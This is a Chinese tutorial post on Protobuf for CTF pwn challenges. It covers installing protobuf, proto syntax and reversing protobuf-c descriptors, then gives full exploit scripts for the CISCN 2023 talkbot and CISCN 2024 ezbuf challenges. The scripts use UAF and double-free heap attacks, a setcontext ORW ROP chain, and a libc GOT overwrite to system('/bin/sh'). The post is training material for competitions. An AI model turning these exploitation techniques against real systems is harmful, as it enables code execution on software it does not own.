深入二进制安全:全面解析Protobuf

打印 上一主题 下一主题

主题 650|帖子 650|积分 1950

前言

近两年,Protobuf结构体与Pwn联合的题目越来越多。
23年和24年Ciscn都出现了Protobuf题目,24年乃至还出现了2道。
与常规的Pwn题利用相比,只是多套了一层Protobuf的Unpack操纵。
本文包含Protobuf环境安装相关语法编译运行以及pb结构逆向例题实战,实现从0基础到进阶。
简介

Protocol Buffers,是Google公司开发的一种数据描述语言,类似于XML能够将结构化数据序列化,可用于数据存储、通讯协议等方面。
常用于跨平台和异构系统中举行RPC调用,序列化和反序列化效率高且体积比XML和JSON小得多,非常得当网络传输。
为了能够和程序举行交互,我们需要先逆向分析得到Protobuf结构体,然后构造序列化后的Protobuf与程序举行交互。
安装

protobuf

官方GitHub地点:https://github.com/protocolbuffers/protobuf
需要安装 Protobuf运行时协议编译器(用于编译.proto文件)
下载Protobuf项目(不要下载版本太高的,否则后面的protobuf-c无法安装):
  1. wget https://github.com/protocolbuffers/protobuf/releases/download/v3.6.1/protobuf-cpp-3.6.1.tar.gz
复制代码
解压并进入Protobuf目次:
  1. tar -xzvf protobuf-cpp-3.6.1
  2. cd protobuf-3.6.1
复制代码
配置、编译并安装
  1. ./configure
  2. make
  3. sudo make install
复制代码
此时,输入protoc命令会报错:
  1. ➜  protobuf-3.6.1 protoc --version                                                                         protoc: error while loading shared libraries: libprotoc.so.17: cannot open shared object file: No such file or directory
复制代码
原因是因为probuf默认安装路径是/usr/local/lib,而在Ubuntu中这个路径不在LD_LIBRARY_PATH 中。
因此,需要在/usr/lib中创建软毗连:
  1. cd /usr/lib
  2. sudo ln -s /usr/local/lib/libprotoc.so.17 libprotobuf.so.17
  3. sudo ln -s /usr/local/lib/libprotoc.so.17 libprotoc.so.17
复制代码
再次输入protoc命令,发现正常打印版本号:
  1. ➜  tools protoc --version
  2. libprotoc 3.6.1
复制代码
protobuf-c

Protobuf官方支持C++、C#、Dart、Go、Java、Kotlin、Python等语言,但是不支持C语言。
而CTF中的Pwn题通常由C语言编写,这就用到了一个第三方库 protobuf-c
Github项目地点:https://github.com/protobuf-c/protobuf-c
下载Protobuf-c项目:https://github.com/protobuf-c/protobuf-c/releases
进入Protobuf-c目次配置、编译并安装:
  1. tar -xzvf protobuf-c.tar.gz
  2. cd protobuf-c
  3. ./configure && make
  4. sudo make install
复制代码
基本语法

先来看一个官方文档给出的例子:
  1. // demo.proto
  2. syntax = "proto3";
  3. package tutorial;
  4. message Person {
  5.   string name = 1;
  6.   int32 id = 2;
  7.   string email = 3;
  8.   enum PhoneType {
  9.     PHONE_TYPE_UNSPECIFIED = 0;
  10.     PHONE_TYPE_MOBILE = 1;
  11.     PHONE_TYPE_HOME = 2;
  12.     PHONE_TYPE_WORK = 3;
  13.   }
  14.   message PhoneNumber {
  15.     string number = 1;
  16.     PhoneType type = 2;
  17.   }
  18.   repeated PhoneNumber phones = 4;
  19. }
  20. message AddressBook {
  21.   repeated Person people = 1;
  22. }
复制代码
syntax

syntax指明protobuf的版本,有proto2和proto3两个版本,省略默认为proto2。
  1. syntax = "proto2";
  2. syntax = "proto3";
复制代码
package

package可以防止命名空间冲突,简朴的项目中可以省略。
  1. package tutorial;
复制代码
message

message用于定义消息结构体,类似C语言中的struct。
每个字段包括修饰符 类型 字段名,而且末尾通过等号设置唯一字段编号
修饰符包括如下几种:


  • optional:可以不提供字段值,字段将被初始化为默认值。(Proto3中不允许显示声明,不加修饰符即optional)
  • repeated:类似vector,表明该字段为动态数组,可重复恣意次。
  • required:必须提供字段值。(Proto3不再支持required)
常见的基本类型:


  • bool
  • in32
  • float
  • double
  • string
编译

可以通过如下命令编译proto文件:
  1. protoc -I=$SRC_DIR --c_out=$DST_DIR $SRC_DIR/demo.proto
复制代码


  • -I=$SRC_DIR用于指定源码目次,默认使用当前目次。
  • –cpp_out=$DST_DIR用于指定目的代码存放位置。
因此,以上命令也可以简化为:
  1. protoc --c_out=. demo.proto
复制代码
这会编译生成以下两个文件:


  • demo.pb-c.h:类的声明。
  • demo.pb-c.c:类的实现。
CTF题目通常为C语言编写,因此为了后续逆向工作,需要理解编译后的C语言文件相关结构。
如果想要编译为Python代码,用如下命令(在CTF中通常编译为Python代码以在脚本中与程序交互):
  1. protoc --python_out=. demo.proto
复制代码
会生成 demo_pb2.py。(pb2后缀只是为了和protobuf1区分)
使用

引入

可以直接在Python中import后调用:
  1. import demo_pb2
  2. person = demo_pb2.Person()
  3. person.id = 1234
  4. person.name = "John Doe"
  5. person.email = "jdoe@example.com"
  6. phone = person.phones.add()
  7. phone.number = "555-4321"
  8. phone.type = demo_pb2.Person.PHONE_TYPE_HOME
复制代码
序列化与反序列化

可以通过 SerializeToString序列化ParseFromString反序列化
  1. # Write the new address book back to disk.
  2. with open(sys.argv[1], "wb") as f:
  3.   f.write(demo_pb2.SerializeToString())
复制代码
  1. demo = demo_pb2.AddressBook()
  2. # Read the existing address book.
  3. try:
  4.   with open(sys.argv[1], "rb") as f:
  5.     demo_pb2.ParseFromString(f.read())
  6. except IOError:
  7.   print(sys.argv[1] + ": Could not open file.  Creating a new one.")
复制代码
逆向分析

Protobuf关键结构体

在生成的demo-pb-c.c文件中,可以发现存在unpack函数:
  1. Tutorial__AddressBook * tutorial__address_book__unpack(ProtobufCAllocator *allocator, size_t len, const uint8_t *data)
  2. {
  3.   return (Tutorial__AddressBook *)
  4.      protobuf_c_message_unpack (&tutorial__address_book__descriptor,
  5.                                 allocator, len, data);
  6. }
复制代码
这个反序列化函数传入描述消息结构体数据descriptor。我们可以在IDA中分析descriptor还原消息结构体。
Descriptor结构体

Descriptor定义如下:
  1. struct ProtobufCMessageDescriptor {
  2.         /** Magic value checked to ensure that the API is used correctly. */
  3.         uint32_t                        magic;
  4.         /** The qualified name (e.g., "namespace.Type"). */
  5.         const char                        *name;
  6.         /** The unqualified name as given in the .proto file (e.g., "Type"). */
  7.         const char                        *short_name;
  8.         /** Identifier used in generated C code. */
  9.         const char                        *c_name;
  10.         /** The dot-separated namespace. */
  11.         const char                        *package_name;
  12.         /**
  13.          * Size in bytes of the C structure representing an instance of this
  14.          * type of message.
  15.          */
  16.         size_t                                sizeof_message;
  17.         /** Number of elements in `fields`. */
  18.         unsigned                        n_fields;
  19.         /** Field descriptors, sorted by tag number. */
  20.         const ProtobufCFieldDescriptor        *fields;
  21.         /** Used for looking up fields by name. */
  22.         const unsigned                        *fields_sorted_by_name;
  23.         /** Number of elements in `field_ranges`. */
  24.         unsigned                        n_field_ranges;
  25.         /** Used for looking up fields by id. */
  26.         const ProtobufCIntRange                *field_ranges;
  27.         /** Message initialisation function. */
  28.         ProtobufCMessageInit                message_init;
  29.         /** Reserved for future use. */
  30.         void                                *reserved1;
  31.         /** Reserved for future use. */
  32.         void                                *reserved2;
  33.         /** Reserved for future use. */
  34.         void                                *reserved3;
  35. };
复制代码
我们需要关注的有几个重要字段:


  • magic:通常为0x28AAEEF9。
  • n_fields:结构体中的字段数量。
  • fields:指向一个储存字段和数据的结构体。
fields是ProtobufCFieldDescriptor类型。
ProtobufCFieldDescriptor结构体

我们看一下它的定义:
  1. struct ProtobufCFieldDescriptor {
  2.         /** Name of the field as given in the .proto file. */
  3.         const char                *name;
  4.         /** Tag value of the field as given in the .proto file. */
  5.         uint32_t                id;
  6.         /** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */
  7.         ProtobufCLabel                label;
  8.         /** The type of the field. */
  9.         ProtobufCType                type;
  10.         /**
  11.          * The offset in bytes of the message's C structure's quantifier field
  12.          * (the `has_MEMBER` field for optional members or the `n_MEMBER` field
  13.          * for repeated members or the case enum for oneofs).
  14.          */
  15.         unsigned                quantifier_offset;
  16.         /**
  17.          * The offset in bytes into the message's C structure for the member
  18.          * itself.
  19.          */
  20.         unsigned                offset;
  21.         /**
  22.          * A type-specific descriptor.
  23.          *
  24.          * If `type` is `PROTOBUF_C_TYPE_ENUM`, then `descriptor` points to the
  25.          * corresponding `ProtobufCEnumDescriptor`.
  26.          *
  27.          * If `type` is `PROTOBUF_C_TYPE_MESSAGE`, then `descriptor` points to
  28.          * the corresponding `ProtobufCMessageDescriptor`.
  29.          *
  30.          * Otherwise this field is NULL.
  31.          */
  32.         const void                *descriptor; /* for MESSAGE and ENUM types */
  33.         /** The default value for this field, if defined. May be NULL. */
  34.         const void                *default_value;
  35.         /**
  36.          * A flag word. Zero or more of the bits defined in the
  37.          * `ProtobufCFieldFlag` enum may be set.
  38.          */
  39.         uint32_t                flags;
  40.         /** Reserved for future use. */
  41.         unsigned                reserved_flags;
  42.         /** Reserved for future use. */
  43.         void                        *reserved2;
  44.         /** Reserved for future use. */
  45.         void                        *reserved3;
  46. };
复制代码
我们需要关注的有:


  • name:字段名。
  • id:唯一字段编号。
  • label:修饰符,如:required、optional、repeated。
  • type:数据类型,如:bool、int32、float、double等。
label和type

label和type都是枚举类型,我们看一下它的定义:
  1. typedef enum {
  2.         /** A well-formed message must have exactly one of this field. */
  3.         PROTOBUF_C_LABEL_REQUIRED,
  4.         /**
  5.          * A well-formed message can have zero or one of this field (but not
  6.          * more than one).
  7.          */
  8.         PROTOBUF_C_LABEL_OPTIONAL,
  9.         /**
  10.          * This field can be repeated any number of times (including zero) in a
  11.          * well-formed message. The order of the repeated values will be
  12.          * preserved.
  13.          */
  14.         PROTOBUF_C_LABEL_REPEATED,
  15.         /**
  16.          * This field has no label. This is valid only in proto3 and is
  17.          * equivalent to OPTIONAL but no "has" quantifier will be consulted.
  18.          */
  19.         PROTOBUF_C_LABEL_NONE,
  20. } ProtobufCLabel;
复制代码
  1. typedef enum {
  2.         PROTOBUF_C_TYPE_INT32,      /**< int32 */
  3.         PROTOBUF_C_TYPE_SINT32,     /**< signed int32 */
  4.         PROTOBUF_C_TYPE_SFIXED32,   /**< signed int32 (4 bytes) */
  5.         PROTOBUF_C_TYPE_INT64,      /**< int64 */
  6.         PROTOBUF_C_TYPE_SINT64,     /**< signed int64 */
  7.         PROTOBUF_C_TYPE_SFIXED64,   /**< signed int64 (8 bytes) */
  8.         PROTOBUF_C_TYPE_UINT32,     /**< unsigned int32 */
  9.         PROTOBUF_C_TYPE_FIXED32,    /**< unsigned int32 (4 bytes) */
  10.         PROTOBUF_C_TYPE_UINT64,     /**< unsigned int64 */
  11.         PROTOBUF_C_TYPE_FIXED64,    /**< unsigned int64 (8 bytes) */
  12.         PROTOBUF_C_TYPE_FLOAT,      /**< float */
  13.         PROTOBUF_C_TYPE_DOUBLE,     /**< double */
  14.         PROTOBUF_C_TYPE_BOOL,       /**< boolean */
  15.         PROTOBUF_C_TYPE_ENUM,       /**< enumerated type */
  16.         PROTOBUF_C_TYPE_STRING,     /**< UTF-8 or ASCII string */
  17.         PROTOBUF_C_TYPE_BYTES,      /**< arbitrary byte sequence */
  18.         PROTOBUF_C_TYPE_MESSAGE,    /**< nested message */
  19. } ProtobufCType;
复制代码
Protbuf结构体逆向(以2023ciscn-talkbot为例)

有了上面关于Descriptor的基础知识后,我们实验在IDA中对protobuf结构体举行逆向。
ciscn2023-talkbot为例,拖入IDA分析:

发现将输入传入protobuf_unpack函数处理后,将处理后的结果通报给真正的主函数。
分析Descriptor结构体

我们直接搜索0x28AAEEF9,定位到Descriptor结构体:

而根据我们对Descriptor结构体定义分析:


  • name为devicemsg。
  • 结构体巨细为0x40。
  • 字段数为4。
分析ProtobufCFieldDescriptor结构体

然后,我们根据ProtobufCFieldDescriptor指针找到字段位置:

第一个为字段名actionid,后面的1、0、4分别为id、label和type。
id为1,而label和type查阅enum定义后发现是required和sint64。
其它字段同理,不再一一分析。
这里需要留意如何区分程序用的是proto2照旧3。
在proto3中,删除了字段的默认值,因此ProtobufCFieldDescriptor结构体中没有了default_value字段。
可以根据逆向后字段的数量来判断题目用的proto版本。例如,这道题目就是proto2。
还原消息结构体

颠末上述分析得到如下定义:
  1. syntax = "proto2";
  2. message devicemsg {
  3.   required sint64 actionid = 1;
  4.   required sint64 msgidx = 2;
  5.   required sint64 msgsize = 3;
  6.   required bytes msgcontent = 4;
  7. }
复制代码
有了结构体,我们继续分析程序。

发现调用对象时,是从下标3开始,而不是从0开始的,这是为什么呢?
因为我们还原的结构体还没颠末编译,我们可以编译后检察这个结构体:
  1. protoc --c_out=. device.proto
复制代码
检察编译后的头文件:
  1. struct  Devicemsg
  2. {
  3.   ProtobufCMessage base;
  4.   int64_t actionid;
  5.   int64_t msgidx;
  6.   int64_t msgsize;
  7.   ProtobufCBinaryData msgcontent;
  8. };
复制代码
发现在结构体的头部多了一个ProtobufCMessage类型的变量,检察一下这个类型的定义:
  1. struct ProtobufCMessage {
  2.         /** The descriptor for this message type. */
  3.         const ProtobufCMessageDescriptor        *descriptor;
  4.         /** The number of elements in `unknown_fields`. */
  5.         unsigned                                n_unknown_fields;
  6.         /** The fields that weren't recognized by the parser. */
  7.         ProtobufCMessageUnknownField                *unknown_fields;
  8. };
复制代码
它存储这个结构体的一些关键信息,比如Descriptor和未识别的字段。
ProtobufCMessage的巨细为24字节,因此我们自己定义的字段下标应该是从3开始。
那为什么会多出一个参数呢?
检察编译后的代码发现,bytes类型被替换为了ProtobufCBinaryData类型,看一下它的定义:
  1. struct ProtobufCBinaryData {
  2.         size_t        len;        /**< Number of bytes in the `data` field. */
  3.         uint8_t        *data;      /**< Data bytes. */
  4. };
复制代码
它包括8字节的长度和8字节的数据部分,因此IDA识别时会多出一个参数。
主函数逆向分析

反序列化后,将明文参数通报给真正的函数执行。
这部分和Protobuf就无关了,如果不想看可以直接跳过。
主函数:

经典的菜单函数,提供增删改查功能,逐个分析。
add函数:

可以申请最多0x20个不超过0x100巨细chunk,而且申请的size不能小于输入的内容长度。
delete函数:

指针置零时用错了变量,存在UAF漏洞。
edit函数:

正常edit,不存在漏洞。
show函数:

正常show,不存在漏洞。
利用思路

题目给glibc为2.31版本,最多申请0x20个不超过0x100巨细的chunk,而且存在UAF漏洞。

发现存在沙箱限定了execve函数,可以考虑tcache posioning改__free_hook -> rdi转rdx寄存器gadget -> setcontext+61打orw。
本篇文章主要讲Protobuf,关于Setcontext打orw相关知识可以自行查阅相关资料,不再赘述。
关键是我们如何和程序举行交互呢?我们不能和传统题目一样通过scanf、read交互,而是构造序列化后的数据来交互。
Protobuf交互

首先,我们将之前还原出来的proto代码编译为Python代码:
  1. protoc --python_out=. device.proto
复制代码
得到device_pb2.py文件。我们需要做的就是在exp调用这个模块对payload举行序列化。
以add函数为例,创建结构体对象后设置字段,最后调用SerializeToString函数序列化,其它同理:
  1. from pwn import *
  2. import device_pb2
  3. elf = ELF("./pwn")
  4. libc = ELF("./libc-2.31.so")
  5. p = process([elf.path])
  6. context(arch=elf.arch, os=elf.os)
  7. context.log_level = 'debug'
  8. def add_chunk(index, size, content):
  9.     msg = device_pb2.devicemsg()
  10.     msg.actionid = 1
  11.     msg.msgidx = index
  12.     msg.msgsize = size
  13.     msg.msgcontent = content
  14.     p.sendafter(b'You can try to have friendly communication with me now: ', msg.SerializeToString())
  15. gdb.attach(p)
  16. pause()
  17. add_chunk(0, 0x68, b'a' * 0x68)
  18. # gdb.attach(p)
  19. # pause()
  20. p.interactive()
复制代码
根据利用思路编写exp如下:
  1. from pwn import *
  2. import Device_pb2
  3. elf = ELF("./pwn")
  4. libc = ELF("./libc-2.31.so")
  5. p = process([elf.path])
  6. context(arch=elf.arch, os=elf.os)
  7. context.log_level = 'debug'
  8. def add_chunk(index, size, content):
  9.     msg = Device_pb2.devicemsg()
  10.     msg.actionid = 1
  11.     msg.msgidx = index
  12.     msg.msgsize = size
  13.     msg.msgcontent = content
  14.     p.sendafter(b'You can try to have friendly communication with me now: ', msg.SerializeToString())
  15. def edit_chunk(index, content):
  16.     msg = Device_pb2.devicemsg()
  17.     msg.actionid = 2
  18.     msg.msgidx = index
  19.     msg.msgsize = len(content)
  20.     msg.msgcontent = content
  21.     p.sendafter(b'You can try to have friendly communication with me now: ', msg.SerializeToString())
  22. def show_chunk(index):
  23.     msg = Device_pb2.devicemsg()
  24.     msg.actionid = 3
  25.     msg.msgidx = index
  26.     msg.msgsize = 7
  27.     msg.msgcontent = b'useless'
  28.     p.sendafter(b'You can try to have friendly communication with me now: ', msg.SerializeToString())
  29. def delete_chunk(index):
  30.     msg = Device_pb2.devicemsg()
  31.     msg.actionid = 4
  32.     msg.msgidx = index
  33.     msg.msgsize = 7
  34.     msg.msgcontent = b'useless'
  35.     p.sendafter(b'You can try to have friendly communication with me now: ', msg.SerializeToString())
  36. # leak libc
  37. for i in range(8):
  38.     add_chunk(i, 0x98, b'a' * 0x10)
  39. for i in range(7):
  40.     delete_chunk(6 - i)
  41. delete_chunk(7)
  42. show_chunk(7)
  43. libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
  44. libc.address = libc_base
  45. success("libc_base = " + hex(libc_base))
  46. # leak heap
  47. show_chunk(0)
  48. heap_base = u64(p.recvuntil((b'\x55', b'\x56'))[-6:].ljust(8, b'\x00')) & ~0xFFF
  49. success("heap_base = " + hex(heap_base))
  50. # tcache poisoning
  51. free_hook = libc.sym['__free_hook']
  52. edit_chunk(0, p64(free_hook))
  53. add_chunk(8, 0x98, b'b' * 0x10)
  54. add_chunk(9, 0x98, b'c' * 0x10)
  55. # setcontext+61
  56. payload_addr = libc.sym['__free_hook']
  57. buf_addr = payload_addr + 0x70
  58. frame_addr = heap_base + 0x1150
  59. payload = b''
  60. payload += p64(next(libc.search(asm('mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]'), executable=True)))
  61. payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
  62. payload += p64(3)
  63. payload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
  64. payload += p64(buf_addr)
  65. payload += p64(next(libc.search(asm('pop rdx; ret;'), executable=True)))
  66. payload += p64(0x100)
  67. payload += p64(libc.symbols['read'])
  68. payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
  69. payload += p64(buf_addr)
  70. payload += p64(libc.symbols['puts'])
  71. payload = payload.ljust(0x70, b'\x00')
  72. payload += b'./flag\x00'
  73. frame = SigreturnFrame()
  74. frame.rsp = libc.sym['__free_hook'] + 8
  75. frame.rip = libc.symbols['open']
  76. frame.rdi = buf_addr
  77. frame.rsi = 0
  78. frame = bytearray(bytes(frame))
  79. frame[0x20:0x20 + 8] = p64(libc.sym['setcontext'] + 61)
  80. frame = frame[:0xb8]
  81. add_chunk(10, 0xf0, bytes(frame))           # frame
  82. edit_chunk(9, payload)                      # __free_hook -> gadget
  83. edit_chunk(8, b'a' * 8 + p64(frame_addr))   # frame_addr
  84. # gdb.attach(p, "b __libc_free\nc")
  85. # pause()
  86. delete_chunk(8)
  87. p.interactive()
复制代码
例题-ciscn2024-ezbuf

还原Protobuf结构体

根据magic:0x28AAEEF9找到Protobuf结构体:

消息结构体名称为heybro,继续分析字段:

还原出如下结构体:
  1. syntax "proto2"
  2. message heybro {
  3.         required bytes whatcon = 1;
  4.         required sint64 whattodo = 2;
  5.         required sint64 whatidx = 3;
  6.         required sint64 whatsize = 4;
  7.         required uint32 whatsthis = 5;
  8. }
复制代码
分析主函数

main

分析main函数:

将6个变量传入realMain,分别是wahtcon、wahtcon_len、whattodo、whatidx、whatsize、whatsthis,且每次输入都malloc0x200。
Init


初始化函数,设置沙箱保护,但是最后没调用seccomp_load函数,所以沙箱无效。
并让全局变量buf指向申请的0x420巨细的chunk,然后再申请一个0x420巨细的chunk。
nop

当whattodo为0时为nop空函数:

add

当whattodo为1时,执行add函数:

add函数最多申请9个0x40巨细的chunk。
delete

当whattodo为2时,执行delete函数:

最多可以使用10次delete函数,存在UAF漏洞。
show

当whattodo为3时,执行show:

可以调用3次该函数,而且如果设置whatsthis为\xff,会先调用seccomp_load。(显示不是我们想要的)
如果设置size为0x30,会调用strtok。也就是说题目提供了两个进入strtok的时机,这里可疑,大概有利用点。
利用思路

程序保护全开,能够free10次,填满tcache后,剩余3次chunk可以完成一次double free,即构造一次恣意地点写。
详细做法:
初始状态bin中有剩余的small bin,申请一个chunk会在small bin切割并残留fd指针指向libc,直接打印可以泄露libc地点:
  1. # leak libc
  2. add_chunk(0, b'a')
  3. show_chunk(0)
  4. libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x21ac61
  5. libc.address = libc_base
  6. success("libc_base = " + hex(libc_base))
复制代码
然后填满tcache,泄露heap地点:
  1. # leak heap
  2. add_chunk(1, b'b')  # clear tcache
  3. for i in range(7 + 2):
  4.     add_chunk(i, b'tcache')
  5. for i in range(7):
  6.     delete_chunk(6 - i)
  7. show_chunk(6)
  8. p.recvuntil(b'Content:')
  9. heap_base = u64(p.recv(5).ljust(8, b'\x00')) << 12
  10. heap_base = heap_base - 0x5000
  11. success("heap_base = " + hex(heap_base))
复制代码
最后,通过double free + tcache stash unlink完成一次恣意地点写:

  • free填满tcache,chunk0 -> chunk1 … -> chunk6。
  • 在fastbin中完成double free,chunk7 -> chunk8 -> chunk7。
  • 将tcache中的chunk全部申请回来,然后申请chunk7,此时会举行tcache stash unlink,即把后续的chunk8和chunk7放到tcache中。此时tcache中:chunk8 -> chunk7。如果申请chunk7时候写入数据即可修改fd指针。
2.35版本libc,没有各种hook。检察保护环境,发现libc没有开启RELRO保护,考虑修改libc的got表。
检察libc中的strtok函数调用了strspn函数,将这个函数修改为system函数完成利用即可。

这里说一下如何盘算strspn函数got表地点,先将题目patch到本地有符号的libc中,然后vmmap检察libc:

最后面这个带有可写权限的即got表存储的地方,发现这个函数偏移量是0x58:

换回题目给的libc,即可盘算出该函数got表地点,要留意tcache需要地点0x10对齐。
  1. delete_chunk(7)
  2. delete_chunk(8)
  3. delete_chunk(7)
  4. for i in range(7):
  5.     add_chunk(i, b't')
  6. one_gadget = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]
  7. target = ((heap_base + 0x5410) >> 12) ^ (libc_base + 0x21a050)
  8. add_chunk(7, p64(target))
  9. add_chunk(7, b'useless')
  10. add_chunk(7, b'useless')
  11. add_chunk(7, p64(libc_base + 0x2c080) + p64(libc.sym['system']))
复制代码
设置size为0x30即可触发strtok,参数为content。还需要留意的是,直接传入/bin/sh\x00会出问题。
猜测大概是因为序列化后全部字符都是相邻的,所以在最前面恣意加个字符和分号,然后传/bin/sh\x00没问题。

exp

  1. from pwn import *import Heybro_pb2elf = ELF("./pwn")libc = ELF("./libc.so.6")p = process([elf.path])context(arch=elf.arch, os=elf.os)context.log_level = 'debug'def add_chunk(index, content):    heybro = Heybro_pb2.heybro()    heybro.whattodo = 1    heybro.whatidx = index    heybro.whatsize = 0    heybro.whatcon = content    heybro.whatsthis = 0    p.sendafter(b'WANT?\n', heybro.SerializeToString())def delete_chunk(index):    heybro = Heybro_pb2.heybro()    heybro.whattodo = 2    heybro.whatidx = index    heybro.whatsize = 0    heybro.whatcon = b''    heybro.whatsthis = 0    p.sendafter(b'WANT?\n', heybro.SerializeToString())def show_chunk(index):    heybro = Heybro_pb2.heybro()    heybro.whattodo = 3    heybro.whatidx = index    heybro.whatsize = 0    heybro.whatcon = b''    heybro.whatsthis = 0    p.sendafter(b'WANT?\n', heybro.SerializeToString())def shell():    heybro = Heybro_pb2.heybro()    heybro.whattodo = 3    heybro.whatidx = 3    heybro.whatsize = 0x30    heybro.whatcon = b'a;' + b'/bin/sh\x00'    heybro.whatsthis = 0    p.sendafter(b'WANT?\n', heybro.SerializeToString())# leak libc
  2. add_chunk(0, b'a')
  3. show_chunk(0)
  4. libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x21ac61
  5. libc.address = libc_base
  6. success("libc_base = " + hex(libc_base))
  7. # leak heap
  8. add_chunk(1, b'b')  # clear tcache
  9. for i in range(7 + 2):
  10.     add_chunk(i, b'tcache')
  11. for i in range(7):
  12.     delete_chunk(6 - i)
  13. show_chunk(6)
  14. p.recvuntil(b'Content:')
  15. heap_base = u64(p.recv(5).ljust(8, b'\x00')) << 12
  16. heap_base = heap_base - 0x5000
  17. success("heap_base = " + hex(heap_base))
  18. # double free + tcache stash unlinkdelete_chunk(7)
  19. delete_chunk(8)
  20. delete_chunk(7)
  21. for i in range(7):
  22.     add_chunk(i, b't')
  23. one_gadget = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]
  24. target = ((heap_base + 0x5410) >> 12) ^ (libc_base + 0x21a050)
  25. add_chunk(7, p64(target))
  26. add_chunk(7, b'useless')
  27. add_chunk(7, b'useless')
  28. add_chunk(7, p64(libc_base + 0x2c080) + p64(libc.sym['system']))
  29. # gdb.attach(p)# pause()shell()p.interactive()
复制代码
附件下载

关注vx公众号【Real返璞归真】复兴【protobuf】获取题目下载地点。


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

玛卡巴卡的卡巴卡玛

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表